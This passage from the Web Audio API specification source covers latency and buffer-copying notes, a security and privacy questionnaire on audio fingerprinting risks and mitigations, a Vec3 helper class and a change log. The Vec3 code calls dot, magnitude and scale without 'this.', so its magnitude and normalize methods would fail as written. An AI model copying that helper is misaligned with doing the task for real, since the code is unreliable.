filter\n\tdesign can delay incoming samples, as a natural consequence of the\n\tcausal filtering process.\n\n* The {{ConvolverNode}} depending on the impulse, can delay\n\tincoming samples, as a natural result of the convolution operation.\n\n* The {{DynamicsCompressorNode}} has a look ahead algorithm that\n\tcauses delay in the signal path.\n\n* The {{MediaStreamAudioSourceNode}},\n\t{{MediaStreamTrackAudioSourceNode}} and\n\t{{MediaStreamAudioDestinationNode}}, depending on the\n\timplementation, can add buffers internally that add delays.\n\n* The {{ScriptProcessorNode}} can have buffers between the\n\tcontrol thread and the rendering thread.\n\n* The {{WaveShaperNode}}, when oversampling, and depending on\n\tthe oversampling technique, add delays to the signal path.\n\n<h3 id=\"audio-buffer-copying\">\nAudio Buffer Copying</h3>\n\nWhen an <a href=\"#acquire-the-content\">acquire the content</a>\noperation is performed on an {{AudioBuffer}}, the entire operation\ncan usually be implemented without copying channel data. In\nparticular, the last step SHOULD be performed lazily at the next\n{{AudioBuffer/getChannelData()}} call.\nThat means a sequence of consecutive <a href=\"#acquire-the-content\">acquire the contents</a> operations with no\nintervening {{AudioBuffer/getChannelData()}} (e.g. multiple\n{{AudioBufferSourceNode}}s playing the same\n{{AudioBuffer}}) can be implemented with no\nallocations or copying.\n\nImplementations can perform an additional optimization: if\n{{AudioBuffer/getChannelData()}} is called on an\n{{AudioBuffer}}, fresh {{ArrayBuffer}}s have not yet been\nallocated, but all invokers of previous <a href=\"#acquire-the-content\">acquire the content</a> operations on an\n{{AudioBuffer}} have stopped using the {{AudioBuffer}}'s data,\nthe raw data buffers can be recycled for use with new\n{{AudioBuffer}}s, avoiding any reallocation or copying of the\nchannel data.\n\n<h3 id=\"audioparam-transitions\">\nAudioParam Transitions</h3>\n\nWhile no automatic smoothing is done when directly setting the\n{{AudioParam/value}} attribute of an\n{{AudioParam}}, for certain parameters, smooth\ntransition are preferable to directly setting the value.\n\nUsing the {{AudioParam/setTargetAtTime()}} method with a low\n<code>timeConstant</code> allows authors to perform a smooth\ntransition.\n\n<h3 id=\"audio-glitching\">\nAudio Glitching</h3>\n\nAudio glitches are caused by an interruption of the normal continuous\naudio stream, resulting in loud clicks and pops. It is considered to\nbe a catastrophic failure of a multi-media system and MUST be\navoided. It can be caused by problems with the threads responsible\nfor delivering the audio stream to the hardware, such as scheduling\nlatencies caused by threads not having the proper priority and\ntime-constraints. It can also be caused by the audio DSP trying to do\nmore work than is possible in real-time given the CPU's speed.\n\n\n<!-- Big Text: priv-sec -->\n\n<h2 id=\"priv-sec\">\nSecurity and Privacy Considerations</h2>\n\nPer the [[security-privacy-questionnaire#questions]]:\n\n1. Does this specification deal with personally-identifiable information?\n\n\tIt would be possible to perform a hearing test using Web Audio API, thus\n\trevealing the range of frequencies audible to a person (this decreases\n\twith age). It is difficult to see how this could be done without the\n\trealization and consent of the user, as it requires active particpation.\n\t<!-- assuming the audio context does not expose detailed information\n\ton audio device inputs and outputs; revisit this question after the\n\tfingerprinting analysis is done -->\n\n\n2. Does this specification deal with high-value data?\n\n\tNo. Credit card information and the like is not used in Web Audio.\n\tIt is possible to use Web Audio to process or analyze voice data,\n\twhich might be a privacy concern, but access to the user's\n\tmicrophone is permission-based via {{getUserMedia()}}.\n\n3. Does this specification introduce new state for an origin that\n\tpersists across browsing sessions?\n\n\tNo. AudioWorklet does not persist across browsing sessions.\n\n4. Does this specification expose persistent, cross-origin state to\n\tthe web?\n\n\tYes, the supported audio sample rate(s) and the output device channel count are exposed. See {{AudioContext}}.\n\n5. Does this specification expose any other data to an origin that it\n\tdoesn’t currently have access to?\n\n\tYes. When giving various information on available\n\t{{AudioNode}}s, the Web Audio API potentially\n\texposes information on characteristic features of the client (such\n\tas audio hardware sample-rate) to any page that makes use of the\n\t{{AudioNode}} interface. Additionally, timing\n\tinformation can be collected through the\n\t{{AnalyserNode}} or\n\t{{ScriptProcessorNode}} interface. The information\n\tcould subsequently be used to create a fingerprint of the client.\n\n\tResearch by Princeton CITP's <a href=\"https://audiofingerprint.openwpm.com/\"></a>\n\tWeb Transparency and Accountability Project</a>\n\thas shown that {{DynamicsCompressorNode}} and {{OscillatorNode}} can\n\tbe used to gather entropy from a client to fingerprint a device.\n\tThis is due to small, and normally inaudible, differences in DSP\n\tarchitecture, resampling strategies and rounding trade-offs between\n\tdiffering implementations. The precise compiler flags used and also the\n\tCPU architecture (ARM vs. x86) contribute to this entropy.\n\n\tIn practice however, this merely allows deduction of information\n\talready readily available by easier means (User Agent string),\n\tsuch as \"this is browser X running on platform Y\".  However, to reduce the\n\tpossibility of additional fingerprinting, we mandate browsers take\n\taction to mitigate fingerprinting issues that might be possible from the\n\toutput of any node.\n\n\tFingerprinting via clock skew\n\t<a href=\"https://murdoch.is/talks/eurobsdcon07hotornot.pdf\">has\n\tbeen described by Steven J Murdoch and Sebastian Zander</a>. It might be possible\n\tto determine this from {{getOutputTimestamp}}. Skew-based fingerprinting has also\n\tbeen demonstrated\n\t<a href=\"https://pdfs.semanticscholar.org/cfd2/6a17234696593919df3f880a235d6ac5871d.pdf\">\n\tby Nakibly et. al. for HTML</a>. The [[hr-time-3#sec-privacy-security]] section should be consulted for further\n\tinformation on clock resolution and drift.\n\n\tFingerprinting via latency is also possible; it might be possible to deduce this\n\tfrom {{baseLatency}} and {{outputLatency}}. Mitigation\n\tstrategies include adding jitter (dithering) and quantization so that the exact\n\tskew is incorrectly reported. Note however that most audio systems aim\n\tfor <a href=\"https://padenot.github.io/web-audio-perf/#latency\">low latency</a>,\n\tto synchronise the audio generated by WebAudio to other\n\taudio or video sources or to visual cues (for example in a game, or an audio\n\trecording or music making environment). Excessive latency decreases usability and may be\n\tan accessibility issue.\n\n\tFingerprining via the sample rate of the {{AudioContext}} is also possible.  We\n\trecommend the following steps to be taken to minimize this:\n\n\t1. 44.1 kHz and 48 kHz are allowed as default rates; the system will choose\n\t\tbetween them for best applicability. (Obviously, if the audio device is\n\t\tnatively 44.1, 44.1 will be chosen, etc., but also the system may choose\n\t\tthe most \"compatible\" rate&mdash;e.g. if the system is natively 96kHz,\n\t\t48kHz would likely be chosen, not 44.1kHz.\n\t1. The system should resample to one of those two rates for devices that are\n\t\tnatively at different rates, despite the fact that this may cause extra\n\t\tbattery drain due to resampled audio. (Again, the system will choose the\n\t\tmost compatible rate&mdash;e.g. if the native system is 16kHz, it's\n\t\texpected that 48kHz would be chosen.)\n\t1. It is expected (though not mandated) that browsers would offer a user\n\t\taffordance to force use of the native rate&mdash;e.g. by setting a flag in\n\t\tthe browser on the device. This setting would not be exposed in the API.\n\t1. It is also expected behavior that a different rate could be explicitly\n\t\trequested in the constructor for {{AudioContext}} (this is already in the\n\t\tspecification; it normally causes the audio rendering to be done at the\n\t\trequested sampleRate, and then up- or down-sampled to the device output),\n\t\tand if that rate is natively supported, the rendering could be passed\n\t\tstraight through. This would enable apps to render to higher rates without\n\t\tuser intervention (although it's not observable from Web Audio that the\n\t\taudio output is not downsampled on output)&mdash;for example, if\n\t\t{{MediaDevices}} capabilities were read (with user intervention) and indicated\n\t\ta higher rate was supported.\n\n\tFingerprinting via the number of output channels for the\n\t{{AudioContext}} is possible as well.  We recommend that\n\t{{AudioDestinationNode/maxChannelCount}} be set to two\n\t(stereo).  Stereo is by far the most common number of\n\tchannels.\n\n6. Does this specification enable new script execution/loading\n\tmechanisms?\n\n\tNo. It does use the [[HTML]] script execution method,\n\tdefined in that specification.\n\n7. Does this specification allow an origin access to a user’s\n\tlocation?\n\n\tNo.\n\n8. Does this specification allow an origin access to sensors on a\n\tuser’s device?\n\n\tNot directly. Currently, audio input is not specified in this\n\tdocument, but it will involve gaining access to the client\n\tmachine's audio input or microphone. This will require asking the\n\tuser for permission in an appropriate way, probably via the\n\t{{getUserMedia()}} API.\n\t\n\tAdditionally, the security and privacy considerations from the \n\t<a href=\"https://www.w3.org/TR/mediacapture-streams/\">Media Capture \n\tand Streams</a> specification should be noted. In particular, \n\tanalysis of ambient audio or playing unique audio may enable \n\tidentification of user location down to the level of a room or \n\teven simultaneous occupation of a room by disparate users or \n\tdevices. Access to both audio output and audio input might also\n\tenable communication between otherwise partitioned contexts in one \n\tbrowser.\n\n9. Does this specification allow an origin access to aspects of a\n\tuser’s local computing environment?\n\n<!-- from f2f -->\n\tNot directly; all requested sample rates are supported, with upsampling if needed.\n\tIt is possible to use Media Capture and Streams to\n\tprobe for supported audio sample rates with\n\t<a href=\"https://www.w3.org/TR/mediacapture-streams/#media-track-supported-constraints\">MediaTrackSupportedConstraints</a>.\n\tThis requires explicit user consent.\n\tThis does provide a small measure of fingerprinting. However,\n\tin practice most consumer and prosumer devices use one of two\n\tstandardized sample rates: 44.1kHz (originally used by CD) and 48kHz\n\t(originally used by DAT). Highly resource constrained devices may\n\tsupport the speech-quality 11kHz sample rate, and higher-end devices often\n\tsupport 88.2, 96, or even the audiophile 192kHz rate.\n\n\tRequiring all implementations to upsample to a single, commonly-supported\n\trate such as 48kHz would increase CPU cost for no particular benefit, and\n\trequiring higher-end devices to use a lower rate would merely result in\n\tWeb Audio being labelled as unsuitable for professional use.\n\n10. Does this specification allow an origin access to other devices?\n\n\tIt typically does not allow access to other networked devices (an\n\texception in a high-end recording studio might be Dante networked\n\tdevices, although these typically use a separate, dedicated network).\n\tIt does of necessity allow access to the user's audio output device\n\tor devices, which are sometimes separate units to the computer.\n\n\tFor voice or sound-actuated devices, Web Audio API <em>might</em> be used\n\tto control other devices. In addition, if the sound-operated device is sensitive\n\tto near ultrasonic frequencies, such control might not be audible.\n\tThis possibility also exists with HTML, through either\n\tthe &lt;audio&gt; or &lt;video&gt; element. At common audio sampling rates, there is (by design)\n\tinsufficient headroom for much ultrasonic information:\n\n\tThe limit of human hearing is usually stated as 20kHz. For a 44.1kHz\n\tsampling rate, the Nyquist limit is 22.05kHz. Given that a true\n\tbrickwall filter cannot be physically realized, the space between\n\t20kHz and 22.05kHz is used for a rapid rolloff filter to strongly\n\tattenuate all frequencies above Nyquist.\n\n\tAt 48kHz sampling rate, there is still rapid attenuation in the\n\t20kHz to 24kHz band (but it is easier to avoid phase ripple\n\terrors in the passband).\n\n11. Does this specification allow an origin some measure of control\n\tover a user agent’s native UI?\n\n\tIf the UI has audio components, such as a voice assistant or screenreader,\n\tWeb Audio API might be used to emulate aspects of the native UI to make\n\tan attack seem more like a local system event.\n\tThis possibility also exists with HTML, through\n\tthe &lt;audio&gt; element.\n\n12. Does this specification expose temporary identifiers to the web?\n\n\tNo.\n\n13. Does this specification distinguish between behavior in first-party\n\tand third-party contexts?\n\n\tNo.\n\n14. How should this specification work in the context of a user agent’s\n\t\"incognito\" mode?\n\n\tNot differently.\n\n15. Does this specification persist data to a user’s local device?\n\n\tNo.\n\n16. Does this specification have a \"Security Considerations\" and\n\t\"Privacy Considerations\" section?\n\n\tYes (you are reading it).\n\n17. Does this specification allow downgrading default security\n\tcharacteristics?\n\n\tNo.\n\n<h2 id=\"requirements\">\nRequirements and Use Cases</h2>\n\nPlease see [[webaudio-usecases]].\n\n\n<h2 id=\"common-definitions\">\nCommon Definitions for Specification Code</h2>\n\nThis section describes common functions and classes employed by\nJavaScript code used within this specification.\n\n<pre highlight=\"js\" line-numbers>\n// Three dimensional vector class.\nclass Vec3 {\n\t// Construct from 3 coordinates.\n\tconstructor(x, y, z) {\n\t\tthis.x = x;\n\t\tthis.y = y;\n\t\tthis.z = z;\n\t}\n\n\t// Dot product with another vector.\n\tdot(v) {\n\t\treturn (this.x * v.x) + (this.y * v.y) + (this.z * v.z);\n\t}\n\n\t// Cross product with another vector.\n\tcross(v) {\n\t\treturn new Vec3((this.y * v.z) - (this.z * v.y),\n\t\t\t(this.z * v.x) - (this.x * v.z),\n\t\t\t(this.x * v.y) - (this.y * v.x));\n\t}\n\n\t// Difference with another vector.\n\tdiff(v) {\n\t\treturn new Vec3(this.x - v.x, this.y - v.y, this.z - v.z);\n\t}\n\n\t// Get the magnitude of this vector.\n\tget magnitude() {\n\t\treturn Math.sqrt(dot(this));\n\t}\n\n\t// Get a copy of this vector multiplied by a scalar.\n\tscale(s) {\n\t\treturn new Vec3(this.x * s, this.y * s, this.z * s);\n\t}\n\n\t// Get a normalized copy of this vector.\n\tnormalize() {\n\t\tconst m = magnitude;\n\t\tif (m == 0) {\n\t\t\treturn new Vec3(0, 0, 0);\n\t\t}\n\t\treturn scale(1 / m);\n\t}\n}\n</pre>\n\n<h2 id=\"changes\">\nChange Log</h2>\n<h3 id=\"recommendation-changes-1\">\n  Changes since Recommendation of 17 Jun 2021\n</h3>\n  * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>: Use new Web IDL buffer primitives\n    <div id=\"change-list-2361\">\n    </div>\n  * <a href=\"https://github.com/WebAudio/web-audio-api-v2/issue/127\">Issue 127</a>: RangeError is thrown only for negative cancelTime\n    <div id=\"change-list-127\">\n    </div>\n  * <a href=\"https://github.com/WebAudio/web-audio-api/issue/2359\">Issue 2359</a>: Fix a typo in the VUMeterNode example\n    <div id=\"change-list-2359\">\n    </div>\n  * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2373\">Issue 2373</a>: Fix a typo: initially instead of initialy\n    <div id=\"change-list-2373\">\n    </div>\n  * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2321\">Issue 2321</a>: Warn about corrupted fils in decodeAudioData.\n    <div id=\"change-list-2321\">\n    </div>\n  * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2375\">Issue 2375</a>: decodeAudioData only decodes the first track of a multi-track audio file.\n    <div id=\"change-list-2375\">\n    </div>\n\n<h3 id=\"changes-2021-05-06\">\n  Since Proposed Recommendation of 6 May 2021\n</h3>\n  * Styling, status and boilerplate updates for Recommendation\n  * Updated links to RFC2119, High-Resolution Time, and Audio EQ Cookbook\n  * A spelling error was corrected\n\n<h3 id=\"changes-2021-01-14\">\n  Since Candidate Recommendation of 14 January 2021\n</h3>\n<!-- Last updated: 2021-04-30 -->\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2333\">PR 2333</a>: Update links to point to W3C versions\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2334\">PR 2334</a>: Use bikeshed to link to ErrorEvent\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2331\">PR 2331</a>: Add MIMESniff to normative references\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2328\">PR 2328</a>: MediaStream must be resampled to match the context sample rate\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2318\">PR 2318</a>: Restore empty of pending processor construction data after successful initialization of AudioWorkProcessor#port.\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2317\">PR 2317</a>: Standardize h3/h4 interface and dictionary markup\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2312\">PR 2312</a>: Rework description of control thread state and rendering thread state\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2311\">PR 2311</a>: Adjust the steps to process a context's regular task queue\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2310\">PR 2310</a>: OscillatorNode output is mono\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2308\">PR 2308</a>: Refine phrasing for \"allowed to start\"\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2307\">PR 2307</a>: Replace \"queue a task\" with \"queue a media element task\"\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2306\">PR 2306</a>: Move some steps from AudioWorkletProcessor constructor to the instantiation algorithm\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2304\">PR 2304</a>: Add required components for ES operations in the rendering loop\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2301\">PR 2301</a>: Define when and how regular tasks are processed wrt the processing model\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2286\">PR 2286</a>: Clean up ABSN start algorithm\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2277\">PR 2277</a>: Fix compression curve diagram\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2273\">PR 2273</a>: Clarify units used in threshold & knee value calculations\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2256\">PR 2256</a>: ABSN extrapolates the last output\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2250\">PR 2250</a>: Use FrozenArray for AudioWorkletProcessor process()\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2298\">PR 2298</a>: Bikeshed HTML validation issues\n \n<h3 id=\"changes-2020-06-11\">\n  Since Candidate Recommendation of 11 June 2020\n</h3>\n<!-- Last updated: 2020-11-13 -->\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2201\">PR 2202</a>: Fixed wrong optionality of IIRFilterNode options\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2191\">Issue 2191</a>: Restrict sounds beyond normal hearing\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2210\">PR 2210</a>: Return rejected promise when the document is not fully active, for operations returning promises\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2191\">Issue 2191</a>: Destination of request created by `addModule`\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2213\">Issue 2213</a>: The message queue is for message running on the rendering thread.\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2216\">Issue 2216</a>: Use inclusive language in the spec\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2219\">PR 2219</a>: Update more terminology in images and markdown documents\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2206\">Issue 2206</a>: PannerNode.rollOffFactor with \"linear\" distance model is not clamped to [0, 1] in main browser engines\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2169\">Issue 2169</a>: AudioParamDescriptor has member constraints that are redundant\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/1457\">Issue 1457</a>: [privacy] Exposing data to an origin: fingerprinting\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2061\">Issue 2061</a>: Privacy re-review of latest changes\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2225\">Issue 2225</a>: Describe \"Planar versus interleaved buffers\"\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2231\">Issue 2231</a>: WaveShaper [[curve set]] not defined\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2240\">Issue 2240</a>: Align with Web IDL specification\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2242\">Issue 2242</a>: LInk to undefined instead of using `<code>`\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2227\">Issue 2227</a>: Clarify buffer.copyToChannel() must be called before source.buffer = buffer else nothing is played\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2253\">PR 2253</a>: Fix duplicated IDs for decode callbacks\n * <a href=\"https://github.com/WebAudio/web-audio-api/issues/2252\">Issue 2252</a>: When are promises in \"[[pending resume promises]]\" resolved?\n * <a href=\"https://github.com/WebAudio/web-audio-api/pull/2266\">PR 2266</a>: Prohibit arbitrary termination of AudioWorkletGlobalScopes\n\n<h3 id=\"changestart1\">\n Since Candidate Recommendation of 18 September 2018\n</h3>\n<!-- Last updated: 2020-04-29 -->\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2193\">Issue 2193</a>: Incorrect azimuth comparison in spatialization algorithm\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2197\">Issue 2192</a>: Waveshaper curve interpolation algorithm incorrect\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2171\">Issue 2171</a>: Allow not having get parameterDescriptors in an AudioWorkletProcessor\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2184\">Issue 2184</a>: PannerNode refDistance description unclear\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2165\">Issue 2165</a>: AudioScheduledSourceNode start algorithm incomplete\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2155\">Issue 2155</a>: Restore changes accidentally reverted in bikeshed conversion\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2154\">Issue 2154</a>: Exception for changing channelCountMode on ScriptProcessorNode does not match browsers\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2153\">Issue 2153</a>: Exception for changing channelCount on ScriptProcessorNode does not match browsers\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2152\">Issue 2152</a>: close() steps don't make sense\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2150\">Issue 2150</a>: AudioBufferOptions requires throwing NotFoundError in cases that can't happen\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2149\">Issue 2149</a>: MediaStreamAudioSourceNode constructor has weird check for AudioContext\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2148\">Issue 2148</a>: IIRFilterOptions description makes impossible demands\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2147\">Issue 2147</a>: PeriodicWave constructor examines lengths of things that might not be there\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2113\">Issue 2113</a>: BiquadFilter gain lower bound can be lower.\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2096\">Issue 2096</a>: Lifetime of pending processor construction data and exceptions in instantiation of AudioWorkletProcessor\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2087\">Issue 2087</a>: Minor issues with BiquadFilter AudioParams\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2083\">Issue 2083</a>: Missing text in WaveShaperNode?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2082\">Issue 2082</a>: WaveShaperNode curve interpolation incomplete\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2074\">Issue 2074</a>: Should the AudioWorkletNode constructor invoke the algorithm for initializing an object that inherits from AudioNode?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2073\">Issue 2073</a>: Inconsistencies in constructor descriptions and factory method initialization\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2072\">Issue 2072</a>: Clarification on `AudioBufferSourceNode` looping, and loop points\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2071\">Issue 2071</a>: cancelScheduledValues with setValueCurveAtTime\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2060\">Issue 2060</a>: Would it be helpful to restrict use of `AudioWorkletProcessor.port().postMessage()` in order to facilitate garbage collection?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2051\">Issue 2051</a>: Update to constructor operations\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2050\">Issue 2050</a>: Restore ConvolverNode channel mixing configurability (up to 2 channels)\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2045\">Issue 2045</a>: Should the check on `process()` be removed from `AudioWorkletGlobalScope.registerProcessor()`?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2044\">Issue 2044</a>: Remove `options` parameter from `AudioWorkletProcessor` constructor WebIDL\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2036\">Issue 2036</a>: Remove `options` parameter of `AudioWorkletProcessor` constructor\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2035\">Issue 2035</a>: De-duplicate initial value setting on AudioWorkletNode AudioParams\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2027\">Issue 2027</a>: Revise \"processor construction data\" algorithm\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2021\">Issue 2021</a>: AudioWorkletProcessor constructor leads to infinite recursion\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2018\">Issue 2018</a>: There are still issues with the setup of an AudioWorkletNode's parameters\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2016\">Issue 2016</a>: Clarify `parameters` in AudioWorkletProcessor.process()\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/2011\">Issue 2011</a>: AudioWorkletNodeOptions.processorOptions should not default to null.\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1989\">Issue 1989</a>: Please update to Web IDL changes to optional dictionary defaulting\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1984\">Issue 1984</a>: Handling of exceptions in audio worklet is not very clear\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1976\">Issue 1976</a>: AudioWorkletProcessor's [[node reference]] seems to be write-only\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1972\">Issue 1972</a>: parameterDescriptors handling during AudioWorkletNode initialization is probably wrong\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1971\">Issue 1971</a>: AudioWorkletNode options serialization is underdefined\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1970\">Issue 1970</a>: \"active source\" flag handling is a weird monkeypatch\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1969\">Issue 1969</a>: It would be clearer if the various validation of AudioWorkletNodeOptions were an explicit step or set of steps\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1966\">Issue 1966</a>: parameterDescriptors is not looked up by the AudioWorkletProcessor constructor\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1963\">Issue 1963</a>: NewTarget check for AudioWorkletProcessor isn't actually possible with a Web IDL constructor\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1947\">Issue 1947</a>: Spec is inconsistent about whether parameterDescriptors is an array or an iterable\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1946\">Issue 1946</a>: Population of \"node name to parameter descriptor map\" needs to be defined\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1945\">Issue 1945</a>: registerProcessor is doing odd things with threads and JS values\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1943\">Issue 1943</a>: Describe how WaveShaperNode shapes the input with the curve\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1935\">Issue 1935</a>: length of AudioWorkletProcessor.process() parameter sequences with inactive inputs\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1932\">Issue 1932</a>: Make AudioWorkletNode output buffer available for reading\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1925\">Issue 1925</a>: front vs forward\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1902\">Issue 1902</a>: Mixer Gain Structure section not needed\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1906\">Issue 1906</a>: Steps in rendering algorithm\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1905\">Issue 1905</a>: Rendering callbacks are observable\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1904\">Issue 1904</a>: Strange Note in algorithm for swapping a control message queue\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1903 \">Issue 1903</a>: Funny sentence about priority and latency\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1901\">Issue 1901</a>: AudioWorkletNode state property?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1900\">Issue 1900</a>: AudioWorkletProcessor NewTarget undefined\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1899\">Issue 1899</a>: Missing synchronous markers\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1897\">Issue 1897</a>: WaveShaper curve value setter allows multiple sets\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1896\">Issue 1896</a>: WaveShaperNode constructor says curve set is initialized to false\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1471\">Issue #1471</a>: AudioNode Lifetime section seems to attempt to make garbage collection observable\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1893\">Issue #1893</a>: Active processing for Panner/Convolver/ChannelMerger\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1894\">Issue #1894</a>: Funny text in PannerNode.orientationX\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1866\">Issue #1866</a>: References to garbage collection\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1851\">Issue #1851</a>: Parameter values used for BiquadFilterNode::getFrequencyResponse\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1905\">Issue #1905</a>: Rendering callbacks are observable\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1879\">Issue #1879</a>: ABSN playback algorithm offset\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1882\">Issue #1882</a>: Biquad lowpass/highpass Q\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1303\">Issue #1303</a>: MediaElementAudioSourceNode information in a funny place\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1896\">Issue #1896</a>: WaveShaperNode constructor says curve set is initialized to false\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1897\">Issue #1897</a>: WaveShaper curve value setter allows multiple sets.\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1880\">Issue #1880</a>: setOrientation description has confusing paragraph\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1855\">Issue #1855</a>: createScriptProcessor parameter requirements\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1857\">Issue #1857</a>: Fix typos and bad phrasing\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1788\">Issue #1788</a>: Unclear what value is returned by AudioParam.value\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1852\">Issue #1852</a>: Fix error condition of AudioNode.disconnect(destinationNode, output, input)\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1841\">Issue #1841</a>: Recovering from unstable biquad filters?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1777\">Issue #1777</a>: Picture of the coordinate system for panner node\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1802\">Issue #1802</a>: Clarify interaction between user-invoked suspend and autoplay policy\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1822\">Issue #1822</a>: OfflineAudioContext.suspend can suspend before the given time\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1772\">Issue #1772</a>: Sorting tracks alphabetically is underspecified\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1797\">Issue #1797</a>: Specification is 